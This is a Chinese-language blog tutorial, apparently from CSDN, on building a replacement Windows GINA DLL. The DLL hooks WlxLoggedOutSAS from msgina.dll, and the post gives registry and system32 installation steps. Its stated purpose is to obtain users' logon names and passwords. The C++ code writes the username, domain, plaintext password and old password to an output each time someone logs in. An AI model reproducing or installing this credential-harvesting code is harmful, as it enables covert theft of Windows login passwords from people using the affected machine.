winlogon 之 WlxLoggedOutSAS

winlogon

Windows Logon Process,Windows NT 用户登陆程序,管理用户登录和退出,处理用户登录和注销任务。Winlogon.exe位于C:\Windows\System32目录下。


WlxLoggedOutSAS

一、原理
在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。 微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。

WinLogon初始化时会创建3个桌面:
(1)、winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2)、应用程序桌面:我们平时见到的那个有我的电脑的界面
(3)、屏幕保护桌面:屏幕保护显示界面。

在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。

二、程序实现
GINA DLL要输出下列函数(winlogon会调用):

(表一)GINA 函数一览表

函数描述
WlxActivateUserShell激活用户外壳程序
WlxDisplayLockedNotice允许GINA DLL 显示锁定信息
WlxDisplaySASNotice当没有用户登陆时,Winlogon调用此函数
WlxDisplayStatusMessageWinlogon 用一个状态信息调用此函数进行显示
WlxGetConsoleSwitchCredentialsWinlogon调用此函数读取当前登陆用户的信任信息,并透明地将它们传到目标会话
WlxGetStatusMessageWinlogon 调用此函数获取当前状态信息
WlxInitialize针对指定的窗口位置进行GINA DLL初始化
WlxIsLockOk验证工作站正常锁定
WlxIslogoffOk验证注销正常
WlxLoggedOnSAS用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数
WlxLoggedOutSAS没有用户登陆,如果此时收到SAS事件,则Winlogon 调用此函数, This indicates that a logon attempt should be made 。
WlxLogoff请求注销操作时通知GINA DLL
WlxNegotiate表示当前的Winlogon版本是否能使用GINA DLL
WlxNetworkProviderLoad在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数
WlxRemoveStatusMessageWinlogon 调用此函数告诉GINA DLL 停止显示状态信息
WlxScreensaverNotify允许GINA与屏幕保护操作交互
WlxShutdown在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡
WlxStartApplication当系统需要在用户的上下文中启动应用程序时调用此函数
WlxWkstaLockedSAS当工作站被锁定,如果接收到一个SAS,则Winlogon 调用此函数

为了简化编程,我们从MSGINA.DLL中动态获取上述函数,在自定义的DLL中(以下称为MyGina.DLL)中直接调用MSGINA.DLL的函数即可。现在我们要处理的就是WlxLoggedOutSAS函数:

/********************************************************************/
//在启动到登陆界面时,系统(Winlogon.exe)会调用WlxLoggedOutSAS!

int   WINAPI WlxLoggedOutSAS (
   PVOID                   pWlxContext, 
   DWORD                  dwSasType, 
   PLUID                    pAuthenticationId, 
   PSID                     pLogonSid, 
   PDWORD                 pdwOptions, 
   PHANDLE                 phToken, 
   PWLX_MPR_NOTIFY_INFO pMprNotifyInfo, 
   PVOID *                  pProfile) 
{
      int iRet=0; 
      PWSTR pszUserName=NULL;      //用户名
      PWSTR pszDomain=NULL;        //机器名
      PWSTR pszPassword=NULL;       //密码
      PWSTR pszOldPassword=NULL;    //旧密码
      PSTR pLogonTime=new char[100]; //登录时间

        //调用 标准MSGINA.DLL中的WlxLoggedOutSAS()函数
      iRet = prcWlxLoggedOutSAS(
      pWlxContext, 
      dwSasType, 
      pAuthenticationId, 
      pLogonSid, 
      pdwOptions, 
      phToken, 
      pMprNotifyInfo, 
      pProfile);

          if(iRet == WLX_SAS_ACTION_LOGON) 
          {      
                 //Get logon time
                 CTime tm=CTime::GetCurrentTime();
                 ::sprintf(pLogonTime,"%d_%d_%d %d:%d:%d      \r\n",
   tm.GetYear(),
   tm.GetMonth(),
   tm.GetDay(),
   tm.GetHour(),
   tm.GetMinute(),
   tm.GetSecond());

                 if(pLogonTime!=NULL) 
                 {
                        WriteInfo("logon_time: ");
                        WriteInfo(pLogonTime); 
                 }

                 // copy pMprNotifyInfo and pLogonSid for later use     
                 pszUserName=pMprNotifyInfo->pszUserName;        
                 if(pszUserName!=NULL)    
                 {
                        WriteInfo("Username   : ");
                        WriteInfoW(pszUserName); 
                 }

                 pszDomain=pMprNotifyInfo->pszDomain; 
                 if(pszDomain!=NULL)      
                 {
                        WriteInfo("Domain     : ");
                        WriteInfoW(pszDomain); 
                 }

                 pszPassword =pMprNotifyInfo->pszPassword; 
                 if(pszPassword!=NULL)    
                 {
                        WriteInfo("PassWord   : ");
                        WriteInfoW(pszPassword); 
                 }

                pszOldPassword=pMprNotifyInfo->pszOldPassword; 
                if(pszOldPassword!=NULL) 
                {
                        WriteInfo("OldPassword: ");
                        WriteInfoW(pszOldPassword); 
                }

} 

return iRet; 

}
/********************************************************************/

还有要注意的是,从pMprNotifyInfo获得都是unicode字符串,显示的时候要先把它们转换成ASCII字符串 :

void WriteInfoW(PWSTR WideStr)   //显示unicode字符串信息
{

        //获取unicode字符串的字符个数
        int nstrlen=WideCharToMultiByte(CP_ACP,0,WideStr,-1, NULL,0,NULL,NULL);

        //在进程堆中分配空间
        PSTR tempStr=(PSTR)HeapAlloc(GetProcessHeap(),0,nstrlen);

        if(tempStr==NULL) return ;

        //把unicode字符串转换为ASCII字符串
        WideCharToMultiByte(CP_ACP,0,WideSt ,-1, tempStr,nstrlen,NULL,NULL);

        WriteInfo(tempStr); //显示ASCII字符串信息

      //释放分配的堆空间
      HeapFree(GetProcessHeap(),0,tempStr);

}

三、安装和注意事项:

在编写GIAN DLL中要注意,GINA DLL使用的是unicode。

【安装】GINA DLL的安装:
1. 添加注册表
键名 : \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
变量名 : GinaDLL
变量类型 : [REG_SZ]
内容 : "你的GINA DLL的名称" 如:"MyGina.DLL:

2. 将你的GINA DLL(MyGina.dll)拷贝到系统目录下(system32);

3. 重启机器,你的GINA DLL(MyGina.dll)就会运行。

【注意】
1. 如果出现进不了你的系统,那你进入DOS后,将msgina.dll拷贝成你的GINA DLL(MyGina.dll)就可进入了;或者进入安全模式,删除掉那个键值( GinaDLL )。

2. Console 程序如果想使用MFC类,必须包含<afx.h>,同时注释掉<windows.h>。

3. 如果出现这种错误:“LINK : fatal error LNK1104: cannot open file "mfc42u.lib" ”,那么说明 lib路径的设置问题,你的链接器在指定的目录下没有找到这个的文件,你应该添加新的目录以便编译器找到所需的库文件。具体位置:IDE中 菜单Tools\Options\Directories\show directories for\ <library files>。

4. 如果出现这种错误:“uafxcwd.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”或者“mfcs42ud.lib(dllmodul.obj) : error LNK2005: _DllMain@12 already defined in main.obj ”,那么“See if you have _AFXDLL and _USRDLL in the preprocessor definitions. Try removing one of them”。具体位置:IDE中 菜单Project \ Setting \ C/C++ \ preprocessor definition 。



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值